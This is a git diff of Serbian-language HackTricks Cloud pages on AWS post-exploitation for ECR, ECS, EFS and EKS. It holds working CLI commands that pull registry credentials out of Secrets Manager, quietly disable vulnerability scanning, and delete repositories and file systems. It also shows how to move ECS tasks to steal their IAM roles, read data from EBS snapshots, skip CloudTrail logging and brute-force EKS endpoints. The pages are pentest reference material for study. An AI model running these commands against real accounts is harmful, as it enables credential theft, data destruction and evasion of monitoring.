+"type": "expire" +} +} +] +}' > malicious_policy.json + +# Apply the malicious lifecycle policy to the ECR repository +aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json + +# Delete the ECR repository +aws ecr delete-repository --repository-name your-ecr-repo-name --force + +# Delete the ECR public repository +aws ecr-public delete-repository --repository-name your-ecr-repo-name --force + +# Delete multiple images from the ECR repository +aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 + +# Delete multiple images from the ECR public repository +aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Exfiltrate upstream registry credentials iz ECR Pull‑Through Cache (PTC) + +Ako je ECR Pull‑Through Cache konfigurisana za authenticated upstream registries (Docker Hub, GHCR, ACR, itd.), upstream credentials su sačuvane u AWS Secrets Manager sa predvidivim prefiksom imena: `ecr-pullthroughcache/`. Operateri ponekad dodeljuju ECR adminima širok Secrets Manager read access, što omogućava credential exfiltration i ponovno korišćenje van AWS. + +Zahtevi +- secretsmanager:ListSecrets +- secretsmanager:GetSecretValue + +Navedite potencijalne PTC secrets +```bash +aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ +--output text +``` +Izdvoji pronađene tajne i parsiraj uobičajena polja +```bash +for s in $(aws secretsmanager list-secrets \ +--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do +aws secretsmanager get-secret-value --secret-id "$s" \ +--query SecretString --output text | tee /tmp/ptc_secret.json +jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true +jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true +done +``` +Opcionalno: proveriti leaked creds prema upstream (read‑only login) +```bash +echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io +``` +Impact +- Čitanje ovih Secrets Manager unosa daje ponovo upotrebljive pristupne akredencijale za upstream registry (korisničko ime/lozinka ili token), koje se mogu zloupotrebiti van AWS za preuzimanje privatnih image-ova ili pristup dodatnim repozitorijumima u zavisnosti od upstream dozvola. + + +### Neprimetnost na nivou registrija: onemogući ili snizi skeniranje putem `ecr:PutRegistryScanningConfiguration` + +Napadač sa ECR dozvolama na nivou registrija može tiho smanjiti ili onemogućiti automatsko skeniranje ranjivosti za SVE repozitorijume tako što će konfiguraciju skeniranja registrija postaviti na BASIC bez bilo kakvih scan-on-push rules. To sprečava da se novi image pushes automatski skeniraju, skrivajući ranjive ili maliciozne image-ove. + +Requirements +- ecr:PutRegistryScanningConfiguration +- ecr:GetRegistryScanningConfiguration +- ecr:PutImageScanningConfiguration (optional, per‑repo) +- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification) + +Smanjenje na nivou celog registrija na ručni režim (bez automatskih skeniranja) +```bash +REGION=us-east-1 +# Read current config (save to restore later) +aws ecr get-registry-scanning-configuration --region "$REGION" + +# Set BASIC scanning with no rules (results in MANUAL scanning only) +aws ecr put-registry-scanning-configuration \ +--region "$REGION" \ +--scan-type BASIC \ +--rules '[]' +``` +Testiraj sa repo i image +```bash +acct=$(aws sts get-caller-identity --query Account --output text) +repo=ht-scan-stealth +aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile +docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test . +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test + +# Verify no scan ran automatically +aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus' +# Optional: will error with ScanNotFoundException if no scan exists +aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true +``` +Opcionalno: dodatno degradirajte na nivou repozitorijuma +```bash +# Disable scan-on-push for a specific repository +aws ecr put-image-scanning-configuration \ +--region "$REGION" \ +--repository-name "$repo" \ +--image-scanning-configuration scanOnPush=false +``` +Uticaj +- Novi push-evi image-ova kroz registar se ne skeniraju automatski, što smanjuje vidljivost ranjivog ili zlonamernog sadržaja i odlaže otkrivanje dok se ne pokrene ručno skeniranje. + + +### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) + +Smanjite kvalitet otkrivanja ranjivosti na nivou celog registra tako što ćete BASIC scan engine prebaciti sa podrazumevanog AWS_NATIVE na legacy CLAIR engine. Ovo ne onemogućava skeniranje, ali može značajno promeniti rezultate/pokrivenost. Kombinujte sa BASIC konfiguracijom skeniranja registra bez pravila kako biste učinili skeniranja samo ručnim. + +Requirements +- `ecr:PutAccountSetting`, `ecr:GetAccountSetting` +- (Opcionalno) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` + +Uticaj +- Podešavanje registra `BASIC_SCAN_TYPE_VERSION` postavljeno na `CLAIR` tako da naredna BASIC skeniranja rade sa degradiranim engine-om. CloudTrail beleži `PutAccountSetting` API poziv. + +Steps +```bash +REGION=us-east-1 + +# 1) Read current value so you can restore it later +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true + +# 2) Downgrade BASIC scan engine registry‑wide to CLAIR +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR + +# 3) Verify the setting +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION + +# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans) +aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true + +# 5) Restore to AWS_NATIVE when finished to avoid side effects +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md deleted file mode 100644 index dc84b899d..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ /dev/null @@ -1,57 +0,0 @@ -# AWS - ECS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Za više informacija proverite: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Host IAM Roles - -U ECS, **IAM uloga može biti dodeljena zadatku** koji se izvršava unutar kontejnera. **Ako** se zadatak izvršava unutar **EC2** instance, **EC2 instanca** će imati **drugu IAM** ulogu pridruženu.\ -Što znači da ako uspete da **kompromitujete** ECS instancu, potencijalno možete **dobiti IAM ulogu povezanu sa ECR-om i sa EC2 instancom**. Za više informacija o tome kako dobiti te kredencijale, proverite: - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html -{{#endref}} - -> [!CAUTION] -> Imajte na umu da ako EC2 instanca primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **odgovor PUT zahteva** će imati **hop limit od 1**, što onemogućava pristup EC2 metapodacima iz kontejnera unutar EC2 instance. - -### Privesc to node to steal other containers creds & secrets - -Ali pored toga, EC2 koristi docker za pokretanje ECs zadataka, tako da ako možete da pobegnete na čvor ili **pristupite docker socket-u**, možete **proveriti** koji se **drugi kontejneri** pokreću, i čak **ući u njih** i **ukrasti njihove IAM uloge**. - -#### Making containers run in current host - -Pored toga, **EC2 instanca uloga** obično će imati dovoljno **dozvola** da **ažurira stanje kontejnerske instance** EC2 instanci koje se koriste kao čvorovi unutar klastera. Napadač bi mogao da izmeni **stanje instance na DRAINING**, tada će ECS **ukloniti sve zadatke sa nje** i oni koji se izvršavaju kao **REPLICA** će biti **pokrenuti na drugoj instanci,** potencijalno unutar **napadačeve instance** tako da može **ukrasti njihove IAM uloge** i potencijalno osetljive informacije iz kontejnera. -```bash -aws ecs update-container-instances-state \ ---cluster --status DRAINING --container-instances -``` -Ista tehnika se može primeniti **odjavljivanjem EC2 instance iz klastera**. Ovo je potencijalno manje prikriveno, ali će **prisiliti zadatke da se izvršavaju na drugim instancama:** -```bash -aws ecs deregister-container-instance \ ---cluster --container-instance --force -``` -Zadnja tehnika za prisiljavanje ponovnog izvršavanja zadataka je da se ECS-u naznači da je **zadatak ili kontejner zaustavljen**. Postoje 3 potencijalne API-ja za to: -```bash -# Needs: ecs:SubmitTaskStateChange -aws ecs submit-task-state-change --cluster \ ---status STOPPED --reason "anything" --containers [...] - -# Needs: ecs:SubmitContainerStateChange -aws ecs submit-container-state-change ... - -# Needs: ecs:SubmitAttachmentStateChanges -aws ecs submit-attachment-state-changes ... -``` -### Ukrao osetljive informacije iz ECR kontejnera - -EC2 instanca će verovatno imati dozvolu `ecr:GetAuthorizationToken` koja joj omogućava da **preuzme slike** (možete tražiti osetljive informacije u njima). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md new file mode 100644 index 000000000..1c074971c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -0,0 +1,126 @@ +# AWS - ECS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Host IAM uloge + +U ECS-u se **IAM role može dodeliti task-u** koji se izvršava unutar containera. **Ako** se task izvršava unutar **EC2** instance, **EC2 instance** će imati pridruženu **drugu IAM** rolu.\ +Što znači da ako uspete da **kompromitujete** ECS instancu možete potencijalno **dobiti IAM rolu pridruženu ECR-u i EC2 instanci**. Za više informacija o tome kako dobiti te kredencijale pogledajte: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html +{{#endref}} + +> [!CAUTION] +> Imajte na umu da ako EC2 instance primenjuje IMDSv2, [**prema dokumentaciji**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), odgovor na **PUT request** će imati **hop limit od 1**, što onemogućava pristup EC2 metadata sa containera unutar EC2 instance. + +### Privesc to node to steal other containers creds & secrets + +But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. + +#### Navođenje containera da se pokreću na trenutnom hostu + +Osim toga, **EC2 instance role** obično će imati dovoljno **permissions** da **update-uje container instance state** EC2 instanci koje se koriste kao nodes unutar klastera. Napadač bi mogao izmeniti **state instance na DRAINING**, nakon čega će ECS **ukloniti sve task-ove sa nje**, a oni koji se izvršavaju kao **REPLICA** biće **pokrenuti na drugoj instanci**, potencijalno na **napadačevoj instanci**, tako da on može **ukrasti njihove IAM role** i potencijalne osetljive informacije iz containera. +```bash +aws ecs update-container-instances-state \ +--cluster --status DRAINING --container-instances +``` +Ista tehnika se može uraditi i putem **deregistering the EC2 instance from the cluster**. Ovo je potencijalno manje diskretno, ali će **force the tasks to be run in other instances:** +```bash +aws ecs deregister-container-instance \ +--cluster --container-instance --force +``` +Poslednja tehnika za forsiranje ponovnog izvršavanja tasks je da se ECS obavesti da je **task ili container zaustavljen**. Postoje 3 potencijalna API-ja za ovo: +```bash +# Needs: ecs:SubmitTaskStateChange +aws ecs submit-task-state-change --cluster \ +--status STOPPED --reason "anything" --containers [...] + +# Needs: ecs:SubmitContainerStateChange +aws ecs submit-container-state-change ... + +# Needs: ecs:SubmitAttachmentStateChanges +aws ecs submit-attachment-state-changes ... +``` +### Ukradite osetljive informacije iz ECR containers + +The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **preuzimanje image-ova** (you could search for sensitive info in them). + +{{#include ../../../../banners/hacktricks-training.md}} + + + +### Montirajte EBS snapshot direktno u ECS task (configuredAtLaunch + volumeConfigurations) + +Iskoristite nativnu ECS EBS integraciju (2024+) da montirate sadržaj postojećeg EBS snapshot-a direktno unutar novog ECS task/service i pročitate njegove podatke iz containera. + +- Potrebno (minimum): +- ecs:RegisterTaskDefinition +- Jedno od: ecs:RunTask OR ecs:CreateService/ecs:UpdateService +- iam:PassRole na: +- ECS infrastructure role koja se koristi za volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Task execution/Task roles na koje task definition referencira +- Ako je snapshot enkriptovan sa CMK: KMS dozvole za infra role (AWS managed policy iznad uključuje potrebne KMS grantove za AWS managed keys). + +- Uticaj: Čitanje proizvoljnog sadržaja diska iz snapshot-a (npr. fajlovi baze podataka) unutar containera i eksfiltracija preko mreže/logova. + +Koraci (primer Fargate): + +1) Kreirajte ECS infrastructure role (ako ne postoji) i prikačite managed policy: +```bash +aws iam create-role --role-name ecsInfrastructureRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsInfrastructureRole \ +--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes +``` +2) Registrujte task definiciju sa volumenom označenim kao `configuredAtLaunch` i montirajte ga u kontejner. Primer (ispiše tajnu pa zaspi): +```json +{ +"family": "ht-ebs-read", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", +"containerDefinitions": [ +{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["cat /loot/secret.txt || true; sleep 3600"], +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}}, +"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}] +} +], +"volumes": [ {"name":"loot", "configuredAtLaunch": true} ] +} +``` +3) Kreirajte ili ažurirajte servis prosleđivanjem EBS snapshot-a preko `volumeConfigurations.managedEBSVolume` (zahteva iam:PassRole na infra roli). Primer: +```json +{ +"cluster": "ht-ecs-ebs", +"serviceName": "ht-ebs-svc", +"taskDefinition": "ht-ebs-read", +"desiredCount": 1, +"launchType": "FARGATE", +"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}}, +"volumeConfigurations": [ +{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam:::role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}} +] +} +``` +4) Kada se zadatak pokrene, kontejner može da pročita sadržaj snapshot-a na konfigurisanoj tački montiranja (npr., `/loot`). Exfiltrate putem mreže/logova zadatka. + +Čišćenje: +```bash +aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0 +aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force +aws ecs deregister-task-definition ht-ebs-read +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md deleted file mode 100644 index ad6a17211..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ /dev/null @@ -1,46 +0,0 @@ -# AWS - EFS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### `elasticfilesystem:DeleteMountTarget` - -Napadač bi mogao da obriše mount target, potencijalno ometajući pristup EFS fajl sistemu za aplikacije i korisnike koji se oslanjaju na taj mount target. -```sql -aws efs delete-mount-target --mount-target-id -``` -**Potencijalni uticaj**: Poremećaj pristupa sistemu datoteka i potencijalni gubitak podataka za korisnike ili aplikacije. - -### `elasticfilesystem:DeleteFileSystem` - -Napadač bi mogao da obriše čitav EFS sistem datoteka, što bi moglo dovesti do gubitka podataka i uticati na aplikacije koje se oslanjaju na sistem datoteka. -```perl -aws efs delete-file-system --file-system-id -``` -**Potencijalni uticaj**: Gubitak podataka i prekid usluge za aplikacije koje koriste obrisani sistem datoteka. - -### `elasticfilesystem:UpdateFileSystem` - -Napadač bi mogao da ažurira svojstva EFS sistema datoteka, kao što su način propusnosti, kako bi uticao na njegovu performansu ili izazvao iscrpljivanje resursa. -```sql -aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps -``` -**Potencijalni uticaj**: Smanjenje performansi fajl sistema ili iscrpljivanje resursa. - -### `elasticfilesystem:CreateAccessPoint` i `elasticfilesystem:DeleteAccessPoint` - -Napadač bi mogao da kreira ili obriše pristupne tačke, menjajući kontrolu pristupa i potencijalno sebi omogućavajući neovlašćen pristup fajl sistemu. -```arduino -aws efs create-access-point --file-system-id --posix-user --root-directory -aws efs delete-access-point --access-point-id -``` -**Potencijalni uticaj**: Neovlašćen pristup fajl sistemu, izlaganje ili modifikacija podataka. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md new file mode 100644 index 000000000..a62bd8318 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md @@ -0,0 +1,46 @@ +# AWS - EFS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### `elasticfilesystem:DeleteMountTarget` + +Napadač može obrisati mount target, što može ometati pristup EFS file system-u za aplikacije i korisnike koji zavise od tog mount target-a. +```sql +aws efs delete-mount-target --mount-target-id +``` +**Mogući uticaj**: Poremećaj pristupa sistemu datoteka i mogući gubitak podataka za korisnike ili aplikacije. + +### `elasticfilesystem:DeleteFileSystem` + +Napadač bi mogao izbrisati ceo EFS sistem datoteka, što bi moglo dovesti do gubitka podataka i uticati na aplikacije koje zavise od tog sistema datoteka. +```perl +aws efs delete-file-system --file-system-id +``` +**Potencijalni uticaj**: Gubitak podataka i prekid usluge za aplikacije koje koriste izbrisani datotečni sistem. + +### `elasticfilesystem:UpdateFileSystem` + +Napadač bi mogao ažurirati svojstva EFS datotečnog sistema, kao što je režim propusnosti, da bi uticao na njegove performanse ili prouzrokovao iscrpljivanje resursa. +```sql +aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps +``` +**Mogući uticaj**: Pogoršanje performansi datotečnog sistema ili iscrpljivanje resursa. + +### `elasticfilesystem:CreateAccessPoint` i `elasticfilesystem:DeleteAccessPoint` + +Napadač može kreirati ili obrisati pristupne tačke, menjajući kontrolu pristupa i potencijalno sebi obezbediti neovlašćen pristup datotečnom sistemu. +```arduino +aws efs create-access-point --file-system-id --posix-user --root-directory +aws efs delete-access-point --access-point-id +``` +**Potencijalni uticaj**: Neovlašćen pristup datotečnom sistemu, otkrivanje ili izmena podataka. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md deleted file mode 100644 index 4d5c56b7d..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ /dev/null @@ -1,143 +0,0 @@ -# AWS - EKS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## EKS - -Za više informacija proverite - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### Enumerate the cluster from the AWS Console - -Ako imate dozvolu **`eks:AccessKubernetesApi`** možete **videti Kubernetes objekte** putem AWS EKS konzole ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). - -### Connect to AWS Kubernetes Cluster - -- Lako rešenje: -```bash -# Generate kubeconfig -aws eks update-kubeconfig --name aws-eks-dev -``` -- Nije tako lak način: - -Ako možete **dobiti token** sa **`aws eks get-token --name `** ali nemate dozvole za dobijanje informacija o klasteru (describeCluster), možete **pripremiti svoj `~/.kube/config`**. Međutim, imajući token, još uvek vam je potrebna **url adresa za povezivanje** (ako ste uspeli da dobijete JWT token iz poda pročitajte [ovde](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) i **ime klastera**. - -U mom slučaju, nisam našao informacije u CloudWatch logovima, ali sam **pronašao u LaunchTemplates userData** i u **EC2 mašinama u userData takođe**. Ove informacije možete lako videti u **userData**, na primer u sledećem primeru (ime klastera je bilo cluster-name): -```bash -API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com - -/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false -``` -
- -kube config -```yaml -describe-cache-parametersapiVersion: v1 -clusters: -- cluster: -certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== -server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com -name: arn:aws:eks:us-east-1::cluster/ -contexts: -- context: -cluster: arn:aws:eks:us-east-1::cluster/ -user: arn:aws:eks:us-east-1::cluster/ -name: arn:aws:eks:us-east-1::cluster/ -current-context: arn:aws:eks:us-east-1::cluster/ -kind: Config -preferences: {} -users: -- name: arn:aws:eks:us-east-1::cluster/ -user: -exec: -apiVersion: client.authentication.k8s.io/v1beta1 -args: -- --region -- us-west-2 -- --profile -- -- eks -- get-token -- --cluster-name -- -command: aws -env: null -interactiveMode: IfAvailable -provideClusterInfo: false -``` -
- -### Od AWS do Kubernetes - -**Kreator** **EKS klastera** će **UVEK** moći da uđe u deo kubernetes klastera grupe **`system:masters`** (k8s admin). U trenutku pisanja ovog teksta **ne postoji direktan način** da se sazna **ko je kreirao** klaster (možete proveriti CloudTrail). I **ne postoji način** da se **ukloni** ta **privilegija**. - -Način da se dodeli **pristup više AWS IAM korisnicima ili rolama** je korišćenjem **configmap** **`aws-auth`**. - -> [!WARNING] -> Stoga, svako ko ima **pristup za pisanje** preko config mapa **`aws-auth`** će moći da **kompromituje ceo klaster**. - -Za više informacija o tome kako da **dodelite dodatne privilegije IAM rolama i korisnicima** u **isto ili različitoj računu** i kako da **zloupotrebite** ovo da [**privesc proverite ovu stranicu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). - -Proverite takođe[ **ovaj sjajan**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post da saznate kako funkcioniše autentifikacija IAM -> Kubernetes**. - -### Od Kubernetes do AWS - -Moguće je omogućiti **OpenID autentifikaciju za kubernetes servisni nalog** da im omogući da preuzmu uloge u AWS-u. Saznajte kako [**to funkcioniše na ovoj stranici**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). - -### DOBIJANJE Api Server Endpoint-a iz JWT Tokena - -Dekodiranjem JWT tokena dobijamo id klastera i takođe region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Znajući da je standardni format za EKS url -```bash -https://...eks.amazonaws.com -``` -Nisam pronašao nikakvu dokumentaciju koja objašnjava kriterijume za 'dva karaktera' i 'broj'. Ali, radeći neke testove u svoje ime, primetio sam da se ovi ponavljaju: - -- gr7 -- yl4 - -U svakom slučaju, to su samo 3 karaktera koje možemo bruteforce-ovati. Koristite ispod navedeni skript za generisanje liste. -```python -from itertools import product -from string import ascii_lowercase - -letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) -number_combinations = product('0123456789', repeat = 1) - -result = [ -f'{''.join(comb[0])}{comb[1][0]}' -for comb in product(letter_combinations, number_combinations) -] - -with open('out.txt', 'w') as f: -f.write('\n'.join(result)) -``` -Zatim sa wfuzz -```bash -wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com -``` -> [!WARNING] -> Zapamtite da zamenite & . - -### Bypass CloudTrail - -Ako napadač dobije akreditive AWS sa **dozvolama nad EKS**. Ako napadač konfiguriše svoj **`kubeconfig`** (bez pozivanja **`update-kubeconfig`**) kao što je objašnjeno ranije, **`get-token`** ne generiše logove u Cloudtrail-u jer ne komunicira sa AWS API-jem (samo kreira token lokalno). - -Dakle, kada napadač komunicira sa EKS klasterom, **cloudtrail neće zabeležiti ništa vezano za ukradenu korisničku sesiju i pristup**. - -Napomena da **EKS klaster može imati omogućene logove** koji će zabeležiti ovaj pristup (iako su po defaultu isključeni). - -### EKS Ransom? - -Po defaultu, **korisnik ili uloga koja je kreirala** klaster uvek će imati **admin privilegije** nad klasterom. I to je jedini "siguran" pristup koji AWS može imati nad Kubernetes klasterom. - -Dakle, ako **napadač kompromituje klaster koristeći fargate** i **ukloni sve druge administratore** i **obriše AWS korisnika/ulogu koja je kreirala** klaster, ~~napadač bi mogao da **iznudi klaster**~~**r**. - -> [!TIP] -> Napomena da ako je klaster koristio **EC2 VMs**, moglo bi biti moguće dobiti admin privilegije sa **Node** i povratiti klaster. -> -> U stvari, ako klaster koristi Fargate, mogli biste da koristite EC2 čvorove ili prebacite sve na EC2 klaster i povratite ga pristupajući tokenima u čvoru. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md new file mode 100644 index 000000000..79c4ce41d --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -0,0 +1,143 @@ +# AWS - EKS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EKS + +Za više informacija pogledajte + 